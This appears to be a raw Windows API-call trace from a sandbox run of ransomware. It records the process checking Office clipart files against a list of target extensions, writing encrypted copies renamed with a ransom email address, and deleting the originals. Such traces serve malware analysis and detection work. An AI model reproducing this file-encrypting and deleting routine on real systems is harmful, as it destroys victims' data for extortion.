lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.329] lstrlenW (lpString=".jpg") returned 4 [0293.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.329] lstrlenW (lpString=".doc") returned 4 [0293.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.329] lstrlenW (lpString=".docx") returned 5 [0293.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.329] lstrlenW (lpString=".pdf") returned 4 [0293.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.329] lstrlenW (lpString=".xls") returned 4 [0293.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.329] lstrlenW (lpString=".xlsx") returned 5 [0293.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.329] lstrlenW (lpString=".ppt") returned 4 [0293.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.329] lstrlenW (lpString=".zip") returned 4 [0293.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.330] lstrlenW (lpString=".rar") returned 4 [0293.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.330] lstrlenW (lpString=".bz2") returned 4 [0293.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.330] lstrlenW (lpString=".7z") returned 3 [0293.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.330] lstrlenW (lpString=".dbf") returned 4 [0293.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.330] lstrlenW (lpString=".1cd") returned 4 [0293.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.330] lstrlenW (lpString=".jpg") returned 4 [0293.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.330] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.330] lstrlenW (lpString="DD00256_.WMF") returned 12 [0293.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0293.331] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2832) returned 1 [0293.331] CloseHandle (hObject=0x10a8) returned 1 [0293.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0293.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0293.331] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.331] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0293.332] GetLastError () returned 0x0 [0293.332] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xb10, lpOverlapped=0x0) returned 1 [0293.493] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xb20, lpOverlapped=0x0) returned 1 [0293.495] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.495] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.495] SetEndOfFile (hFile=0x1098) returned 1 [0293.495] CloseHandle (hObject=0x1098) returned 1 [0293.495] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.495] SetEndOfFile (hFile=0x10a8) returned 1 [0293.496] CloseHandle (hObject=0x10a8) returned 1 [0293.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0293.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.497] lstrlenW (lpString=".doc") returned 4 [0293.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.497] lstrlenW (lpString=".docx") returned 5 [0293.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.497] lstrlenW (lpString=".pdf") returned 4 [0293.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.497] lstrlenW (lpString=".xls") returned 4 [0293.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.497] lstrlenW (lpString=".xlsx") returned 5 [0293.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.497] lstrlenW (lpString=".ppt") returned 4 [0293.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.498] lstrlenW (lpString=".zip") returned 4 [0293.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.498] lstrlenW (lpString=".rar") returned 4 [0293.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.498] lstrlenW (lpString=".bz2") returned 4 [0293.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.498] lstrlenW (lpString=".7z") returned 3 [0293.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.498] lstrlenW (lpString=".dbf") returned 4 [0293.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.498] lstrlenW (lpString=".1cd") returned 4 [0293.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.498] lstrlenW (lpString=".jpg") returned 4 [0293.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.498] lstrlenW (lpString=".doc") returned 4 [0293.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.498] lstrlenW (lpString=".docx") returned 5 [0293.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.499] lstrlenW (lpString=".pdf") returned 4 [0293.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.499] lstrlenW (lpString=".xls") returned 4 [0293.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.499] lstrlenW (lpString=".xlsx") returned 5 [0293.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.499] lstrlenW (lpString=".ppt") returned 4 [0293.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.499] lstrlenW (lpString=".zip") returned 4 [0293.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.499] lstrlenW (lpString=".rar") returned 4 [0293.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.499] lstrlenW (lpString=".bz2") returned 4 [0293.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.499] lstrlenW (lpString=".7z") returned 3 [0293.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.499] lstrlenW (lpString=".dbf") returned 4 [0293.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.499] lstrlenW (lpString=".1cd") returned 4 [0293.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0293.500] lstrlenW (lpString=".jpg") returned 4 [0293.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.500] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.500] lstrlenW (lpString="DD00405_.WMF") returned 12 [0293.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0293.500] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=17584) returned 1 [0293.501] CloseHandle (hObject=0x10a8) returned 1 [0293.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0293.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0293.501] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.501] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0293.502] GetLastError () returned 0x0 [0293.502] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x44b0, lpOverlapped=0x0) returned 1 [0293.670] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x44c0, lpOverlapped=0x0) returned 1 [0293.742] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.742] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.745] SetEndOfFile (hFile=0x1098) returned 1 [0293.746] CloseHandle (hObject=0x1098) returned 1 [0293.746] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.746] SetEndOfFile (hFile=0x10a8) returned 1 [0293.747] CloseHandle (hObject=0x10a8) returned 1 [0293.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0293.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.747] lstrlenW (lpString=".doc") returned 4 [0293.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.747] lstrlenW (lpString=".docx") returned 5 [0293.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.747] lstrlenW (lpString=".pdf") returned 4 [0293.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.748] lstrlenW (lpString=".xls") returned 4 [0293.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.748] lstrlenW (lpString=".xlsx") returned 5 [0293.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.748] lstrlenW (lpString=".ppt") returned 4 [0293.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.748] lstrlenW (lpString=".zip") returned 4 [0293.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.748] lstrlenW (lpString=".rar") returned 4 [0293.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.748] lstrlenW (lpString=".bz2") returned 4 [0293.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.748] lstrlenW (lpString=".7z") returned 3 [0293.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.748] lstrlenW (lpString=".dbf") returned 4 [0293.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.748] lstrlenW (lpString=".1cd") returned 4 [0293.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.748] lstrlenW (lpString=".jpg") returned 4 [0293.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.749] lstrlenW (lpString=".doc") returned 4 [0293.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.749] lstrlenW (lpString=".docx") returned 5 [0293.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.749] lstrlenW (lpString=".pdf") returned 4 [0293.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.749] lstrlenW (lpString=".xls") returned 4 [0293.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.749] lstrlenW (lpString=".xlsx") returned 5 [0293.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.749] lstrlenW (lpString=".ppt") returned 4 [0293.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.749] lstrlenW (lpString=".zip") returned 4 [0293.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.749] lstrlenW (lpString=".rar") returned 4 [0293.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.749] lstrlenW (lpString=".bz2") returned 4 [0293.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.749] lstrlenW (lpString=".7z") returned 3 [0293.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.749] lstrlenW (lpString=".dbf") returned 4 [0293.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.749] lstrlenW (lpString=".1cd") returned 4 [0293.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0293.749] lstrlenW (lpString=".jpg") returned 4 [0293.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.750] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.750] lstrlenW (lpString="DD00413_.WMF") returned 12 [0293.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0293.750] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=42992) returned 1 [0293.750] CloseHandle (hObject=0x10a8) returned 1 [0293.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0293.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0293.751] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.751] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0293.751] GetLastError () returned 0x0 [0293.751] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0294.365] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xa800, lpOverlapped=0x0) returned 1 [0294.366] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.366] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.367] SetEndOfFile (hFile=0x1098) returned 1 [0294.367] CloseHandle (hObject=0x1098) returned 1 [0294.367] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.367] SetEndOfFile (hFile=0x10a8) returned 1 [0294.368] CloseHandle (hObject=0x10a8) returned 1 [0294.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0294.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.369] lstrlenW (lpString=".doc") returned 4 [0294.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.369] lstrlenW (lpString=".docx") returned 5 [0294.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.369] lstrlenW (lpString=".pdf") returned 4 [0294.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.369] lstrlenW (lpString=".xls") returned 4 [0294.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.369] lstrlenW (lpString=".xlsx") returned 5 [0294.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.369] lstrlenW (lpString=".ppt") returned 4 [0294.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.369] lstrlenW (lpString=".zip") returned 4 [0294.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.369] lstrlenW (lpString=".rar") returned 4 [0294.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.369] lstrlenW (lpString=".bz2") returned 4 [0294.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.369] lstrlenW (lpString=".7z") returned 3 [0294.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.370] lstrlenW (lpString=".dbf") returned 4 [0294.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.370] lstrlenW (lpString=".1cd") returned 4 [0294.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.370] lstrlenW (lpString=".jpg") returned 4 [0294.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.370] lstrlenW (lpString="C:\\Program 